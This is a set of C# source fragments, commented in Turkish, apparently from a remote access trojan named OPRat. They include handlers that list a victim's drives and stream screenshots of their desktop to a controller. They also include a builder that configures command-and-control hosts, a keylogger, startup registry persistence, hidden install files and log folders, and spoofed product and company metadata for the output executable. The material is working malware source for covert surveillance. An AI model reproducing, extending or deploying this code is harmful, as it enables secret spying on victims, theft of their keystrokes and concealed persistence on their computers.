public static void HandleGetDrives(Paketler.ServerPaketleri.GetDrives command, Client client) { DriveInfo[] drives; try { drives = DriveInfo.GetDrives().Where(d => d.IsReady).ToArray(); } catch (IOException) { new Paketler.ClientPaketleri.SetStatusFileManager("Sürücü Çek - I/O Hatası", false).Execute(client); return; } catch (UnauthorizedAccessException) { new Paketler.ClientPaketleri.SetStatusFileManager("Sürücü Çek - İzni Yok", false).Execute(client); return; } if (drives.Length == 0) { new Paketler.ClientPaketleri.SetStatusFileManager("Sürücü Çek - Sürücü Yok", false).Execute(client); return; } string[] görüntüAdı = new string[drives.Length]; string[] anaDizin = new string[drives.Length]; for (int i = 0; i < drives.Length; i++) { string volumeLabel = null; try { volumeLabel = drives[i].VolumeLabel; } catch { } if (string.IsNullOrEmpty(volumeLabel)) { görüntüAdı[i] = string.Format("{0} [{1}, {2}]", drives[i].RootDirectory.FullName, FormatYardımcısı.DriveTypeName(drives[i].DriveType), drives[i].DriveFormat); } else { görüntüAdı[i] = string.Format("{0} ({1}) [{2}, {3}]", drives[i].RootDirectory.FullName, volumeLabel, FormatYardımcısı.DriveTypeName(drives[i].DriveType), drives[i].DriveFormat); } anaDizin[i] = drives[i].RootDirectory.FullName; } new Paketler.ClientPaketleri.GetDrivesResponse(görüntüAdı, anaDizin).Execute(client); }
private KurulumAyarları ValidateInput() { var options = new KurulumAyarları(); if (!CheckForEmptyInput()) { MessageBox.Show("Lütfen gerekli bütün boşlukları doldurunuz!", "Build Başarısız!", MessageBoxButtons.OK, MessageBoxIcon.Information); return(options); } options.Tag = txtTag.Text; options.Mutex = txtMutex.Text; options.RawHosts = HostYardımcısı.GetRawHosts(_hosts); options.Password = txtPassword.Text; options.Delay = (int)numericUpDownDelay.Value; options.IconPath = txtIconPath.Text; options.Version = Application.ProductVersion; options.InstallPath = GetInstallPath(); options.InstallSub = txtInstallsub.Text; options.InstallName = txtInstallname.Text + ".exe"; options.StartupName = txtRegistryKeyName.Text; options.Install = chkInstall.Checked; options.Startup = chkStartup.Checked; options.HideFile = chkHide.Checked; options.Keylogger = chkKeylogger.Checked; options.LogDirectoryName = txtLogDirectoryName.Text; options.HideLogDirectory = chkHideLogDirectory.Checked; if (options.Password.Length < 3) { MessageBox.Show("Lütfen en az 3 karakterden oluşan güvenli bir şifre ayarlayınız..", "Build Başarısız!", MessageBoxButtons.OK, MessageBoxIcon.Warning); return(options); } if (!File.Exists("client.bin")) { MessageBox.Show( "\"client.bin\" dosyası bulunamadı. OPRat ile aynı klasör içerisinde olduğundan emin olunuz..", "Build Başarısız!", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } if (options.RawHosts.Length < 2) { MessageBox.Show("Lütfen bağlanılacak geçerli bir host adresi giriniz..", "Build Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } if (chkChangeIcon.Checked) { if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath)) { MessageBox.Show("Lütfen geçerli bir ikon dizini seçiniz.", "Build Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } } else { options.IconPath = string.Empty; } if (chkChangeAsmInfo.Checked) { if (!FormatYardımcısı.IsValidVersionNumber(txtProductVersion.Text)) { MessageBox.Show("Lütfen geçerli bir ürün version numarası giriniz.!\nÖrneğin: 1.2.3.4", "Build Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } if (!FormatYardımcısı.IsValidVersionNumber(txtFileVersion.Text)) { MessageBox.Show("Lütfen geçerli bir dosya version numarası giriniz.!\nÖrneğin: 1.2.3.4", "Build Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } options.AssemblyInformation = new string[8]; options.AssemblyInformation[0] = txtProductName.Text; options.AssemblyInformation[1] = txtDescription.Text; options.AssemblyInformation[2] = txtCompanyName.Text; options.AssemblyInformation[3] = txtCopyright.Text; options.AssemblyInformation[4] = txtTrademarks.Text; options.AssemblyInformation[5] = txtOriginalFilename.Text; options.AssemblyInformation[6] = txtProductVersion.Text; options.AssemblyInformation[7] = txtFileVersion.Text; } using (SaveFileDialog sfd = new SaveFileDialog()) { sfd.Title = "Clienti Kaydet"; sfd.Filter = "Exeler *.exe|*.exe"; sfd.RestoreDirectory = true; sfd.FileName = "Kuuhaku.exe"; if (sfd.ShowDialog() != DialogResult.OK) { return(options); } options.OutputPath = sfd.FileName; } if (string.IsNullOrEmpty(options.OutputPath)) { MessageBox.Show("Lütfen geçerli bir kaydetme klasörü seçiniz..", "Build Başarısız", MessageBoxButtons.OK, MessageBoxIcon.Error); return(options); } options.ValidationSuccess = true; return(options); }
private void btnMutex_Click(object sender, EventArgs e) { HasChanged(); txtMutex.Text = FormatYardımcısı.GenerateMutex(); }
public static void HandleGetDesktop(Paketler.ServerPaketleri.GetDesktop command, Client client) { var resolution = FormatYardımcısı.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor)); if (StreamCodec == null) { StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution); } if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor || StreamCodec.Resolution != resolution) { if (StreamCodec != null) { StreamCodec.Dispose(); } StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution); } BitmapData desktopData = null; Bitmap desktop = null; try { desktop = ScreenHelper.CaptureScreen(command.Monitor); desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), ImageLockMode.ReadWrite, desktop.PixelFormat); using (MemoryStream stream = new MemoryStream()) { if (StreamCodec == null) { throw new Exception("StreamCodec 0 olamaz."); } StreamCodec.CodeImage(desktopData.Scan0, new Rectangle(0, 0, desktop.Width, desktop.Height), new Size(desktop.Width, desktop.Height), desktop.PixelFormat, stream); new Paketler.ClientPaketleri.GetDesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, StreamCodec.Monitor, StreamCodec.Resolution).Execute(client); } } catch (Exception) { if (StreamCodec != null) { new Paketler.ClientPaketleri.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor, StreamCodec.Resolution).Execute(client); } StreamCodec = null; } finally { if (desktop != null) { if (desktopData != null) { try { desktop.UnlockBits(desktopData); } catch { } } desktop.Dispose(); } } }